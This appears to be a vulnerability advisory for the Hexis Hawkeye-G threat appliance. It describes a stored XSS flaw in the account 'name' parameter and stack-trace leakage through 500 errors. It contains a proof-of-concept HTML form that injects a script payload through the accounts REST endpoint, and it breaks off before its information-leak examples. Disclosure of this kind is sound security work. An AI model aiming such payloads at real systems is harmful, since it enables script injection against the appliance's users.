Hawkeye-G v3.0.1.4912

Hawkeye G is an active defense disruptive technology that
detects, investigates, remediates and removes cyber threats
within the network.

Vulnerability Type:
Persistent XSS & Server Information Leakage

CVE Reference:

Advisory Information:

Persistent XSS:

Hexis cyber Hawkeye-G network threat appliance is vulnerable to
persistent XSS injection when adding device accounts to the system.
The appliance contains an endpoint sensor that collects client
information to report back to the Hawkeye-G web interface.

When adding device accounts to the system XSS payloads supplied to the
vulnerable id parameter 'name' will be stored in database and executed each
time certain threat appliance webpages are visited.

Server Information Disclosure:

We can force internal server 500 errors that leak back end information's.
Stack traces are echoed out to the end user instead of being suppressed
this can give attackers valuable information into the system internals
possibly helping attackers in crafting more specific types of attacks.

Exploit code(s):

Persistent XSS:

<form id="exploit" action="
https://localhost:8443/interface/rest/accounts/json" method="post">
<input type="text" name="human" value="true" />
<input type="text" name="name" value="<script>alert(666)</script>" />
<input type="text" name="domainId" value=""/>
<input type="text" name="domain_id" value="" />
<input type="text" name="roving" value="false" />

Accessing URL will execute malicious XSS stored in Hawkeye-G backend

vulnerable parameter:

<input placeholder="Name" ng-model="record.name" id="name"
class="formeditbox ng-pristine ng-invalid ng-invalid-required ng-touched"
name="name" required="" ng-disabled="record.guid">

Server Information Leakage:

These examples will result in 500 internal server error info disclosures:
